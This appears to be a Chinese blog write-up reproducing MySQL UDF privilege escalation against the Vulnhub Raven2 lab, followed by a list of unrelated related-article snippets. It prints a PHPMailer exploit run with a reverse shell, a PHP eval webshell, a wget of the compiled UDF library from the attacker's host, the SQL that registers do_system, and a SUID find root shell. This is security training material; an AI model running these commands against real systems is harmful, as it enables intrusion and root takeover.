MySQL之UDF提权复现
什么是UDF:
UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。
提权条件:
- 知道MySQL用户名和密码,可以登录
- MySQL有写入文件权限,即 secure_file_priv 的值为空
注意:使用 UDF 提权是在获取到 webshell 的前提下,获取到的用户只是网络服务权限 www 或其他普通用户,我们可以利用 mysql 的 UDF 提权获取到管理员权限。
如何使用UDF提权
-
MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下
-
MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32
如果目录不存在则利用 NTFS 数据流创建文件目录
udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。
靶场复现
通过 vulnhub 下载靶场镜像
靶机地址:https://download.vulnhub.com/raven/Raven2.ova
- 攻击机kali(192.168.111.129)
- 靶机Raven2(192.168.111.132)
信息收集
nmap扫描端口开放情况
nmap 192.168.111.132 -sV -p- -Pn

发现开放了22,80,111,58686端口,操作系统为Linux。
访问80端口:

dirsearch 扫描一下目录:

发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。
此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16

phpmailer漏洞利用
使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。

修改完成后执行。
python 40974.py

先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)



执行 whoami 发现为 www-date 权限
使用 python 执行交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")'
也可以写一句话用菜刀蚁剑连接方便操作
echo '<?php @eval($_POST['s']);?>' >2.php
进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。

账号 root,密码 R@v3nSecurity
使用得到的用户名密码登录mysql
mysql -uroot -pR@v3nSecurity

在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。
MySQL-UDF提权利用
首先查找漏洞,并下载漏洞利用脚本1518.c
searchsploit udfsearchsploit udf -m 1518.c

下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。
gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o
将编译后的1518.so上传到靶机 /tmp 目录内。
python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so

登录 mysql 切换数据库 wordpress 并创建新表 foo。
create table foo(line blob); #创建数据表insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 select * from mysql.func; #查询函数是否创建成功select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

准备工作完成后退出数据库,使用find命令进行提权。
mysql> quit
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

根据结果可以看到提权成功
相关文章:
MySQL之UDF提权复现
什么是UDF: UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。 提权条件: 知道MySQL用户名和密码…...
html记账本改写:保存数据 localStorage。
<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>记账本改写</title><style>table {user-select: none;/* width: 100%; */border-collapse: collapse;}table,th,td {border: 1px solid…...
frida检测绕过-libmsaoaidsec.so
libmsaoaidsec.so 部分检测手段 检测机制在native层实现一般在init_proc()函数中触发使用 pthread_create 创建2个检测线程 绕过: nop pthread_create 的调用 eg: 在 bilibil1 - v7.26.1版本中, 在got表导入了pthread_create 绕过: 替换dlsym(xx, "pthread_create "…...
Splasthop 安全远程访问帮助企业对抗 Cobalt Strike 载荷网络攻击
一、背景 根据 FreeBuf(标题为:潜藏系统2个月未被发现,新型网络攻击瞄准中国高价值目标)和 The Hacker News(标题为:New Cyberattack Targets Chinese-Speaking Businesses with Cobalt Strike Payloads&a…...
Rust:Restful API 服务程序开发详述
0. 关于异步程序设计 0.1 对异步机制的理解 运行效率对于后端程序来讲很重要。我曾经以为,多线程机制是后端设计的终极方法,后来才发现,异步机制才是榨干 CPU 运行效率资源的关键所在。 我最初对于异步程序设计有误解,以为多线…...
《Cloud Native Data Center Networking》(云原生数据中心网络设计)读书笔记 -- 09部署OSPF
本章的目的是帮助网络工程师确定网络的理想 OSPF 配置。本章将回答以下问题 应何时在数据中使用OSPF ?配置 OSPF 的关键设计原则是什么?OSPFv2 和 OSPFv3 之间有什么区别,应如何使用?如何在路由协议栈中配置 OSPF ?如何在服务器上配置 OSPF,例如为容…...
【Visual Studio 报错】未加载 wntdll.pdb(一种可行的解决办法)
调试程序时,会出现下面这个报错 分析原因: 出现未加载 wntdll.pdb 报错大概率是你的指针使用错误 ,比如使用野指针、越界访问、或者堆区空间释放方式错误等。 这里以 堆区空间释放方式错误 为例子 1、堆区开辟的数组空间使用 delete 释放 …...
P1332 血色先锋队
[题目通道](血色先锋队 - 洛谷) #include<bits/stdc.h> using namespace std; int n,m,a,b,xa[114514],ya[114514],xb[114514],yb[114514],maxx[114514]; int main() {cin>>n>>m>>a>>b;for(int i1;i<a;i)cin>>xa[i]>>ya[i];for(…...
HarmonyOS】ArkTS学习之基于TextTimer的简易计时器的elapsedTime最小时间单位问题
本文旨在纪录自己对TextTimer使用过程的疑惑问题 我在查看教程时候,发现很多博客在onTimer(event: (utc: number, elapsedTime: number) > void) 这里提到elapsedTime:计时器经过的时间,单位为毫秒。我不清楚是否为版本问题。 在我查看ver…...
函数指针学习
认识函数指针: 函数指针的用处: 回调函数(以函数指针为参数的参数) 定义带标签的结构体 typedef struct mode { int data; } Node; 标签(mode): mode 是结构体的标签名。在这种定义中,mo…...
『功能项目』武器的切换实例【34】
本章项目成果展示 我们打开上一篇33战士的A键连击的项目, 本章要做的事情是按键盘E键切换职业时切换手中的武器 首先在资源商店下载免费的武器模型 创建一个空物体 命名为WeaponPos 将武器预制体拖拽至WeaponPos (注意调整空物体位置就可以后续文章会更…...
github中action作用和讲解
1,简介 GitHub Actions 是 GitHub 的一个自动化功能,它允许你在 GitHub 仓库中自动执行软件开发工作流程。你可以使用 GitHub Actions 来执行各种任务,比如: 自动测试:每当代码被推送到仓库时,自动运行测试…...
数据库管理-第238期 23ai:全球分布式数据库-架构与组件(20240904)
数据库管理238期 2024-09-04 数据库管理-第238期 23ai:全球分布式数据库-架构与组件(20240904)1 架构图2 分片数据库与分片3 Shard Catalog4 Shard Director5 Global Service6 管理界面总结 数据库管理-第238期 23ai:全球分布式数…...
GIT | git提交注释自动添加信息头
GIT | git提交注释自动添加信息头 时间:2024年9月6日10:20:11 文章目录 GIT | git提交注释自动添加信息头1.操作2.commit-msg文件 1.操作 2.commit-msg文件 #!/bin/sh # # An example hook script to check the commit log message. # Called by "git commit&q…...
React 全屏问题解决方案
1、全屏下弹窗被遮挡的问题 参考:https://www.jianshu.com/p/b22d1ad9533e 原因: 需要全屏的节点部分被传入 screenfull 中,弹窗的层级永远低于全屏,所以被遮挡。 解决方法: 方式1:把整个 body 全屏&…...
Java JVM 垃圾回收算法详解
Java 虚拟机(JVM)是运行 Java 应用程序的核心,它的垃圾回收(Garbage Collection, GC)机制是 JVM 中非常重要的一个部分。垃圾回收的主要任务是自动管理内存,回收那些不再被使用的对象,从而释放内…...
hadoop dfs web页面访问增加鉴权
前言 装好了Hadoop,通过浏览器访问,发现竟然不需要鉴权就能访问,且暴露了很多服务器层文件路径信息,基于多年积累的安全意识,必须得配置些鉴权信息,就有了该文,仅做学习记录,下次自…...
LCP 485. 最大连续 1 的个数[lleetcode -11]
从今天起,我们的算法开始研究搜索,首先就是DFS深度优先搜索(depth-first seach,DFS)在搜索到一个新的节点时,立即对该新节点进行遍 历;因此遍历需要用先入后出的栈来实现,也可以通过…...
关于宏任务的说法已经过时
关于宏任务w3c的最新解释,(mdn已经搜不到宏任务队列) ● 每个任务都有一个任务类型,用一个类型的任务必须在一个队列,不同类型的任务可以分属不同的队列。在一次事件循环当中,浏览器可以根据实际情况从不同…...
Java箱与泛型
大O的渐进表示法 大 O 的渐进表示法 去掉了那些对结果影响不大的项 ,简洁明了的表示出了执行次数。 void func1(int N){ int count 0; for (int i 0; i < N ; i) { for (int j 0; j < N ; j) { count; } } for (int k 0; k < 2 * N ; k) { count; } in…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...
springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?
Redis 的发布订阅(Pub/Sub)模式与专业的 MQ(Message Queue)如 Kafka、RabbitMQ 进行比较,核心的权衡点在于:简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...
给网站添加live2d看板娘
给网站添加live2d看板娘 参考文献: stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下,文章也主…...
关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...
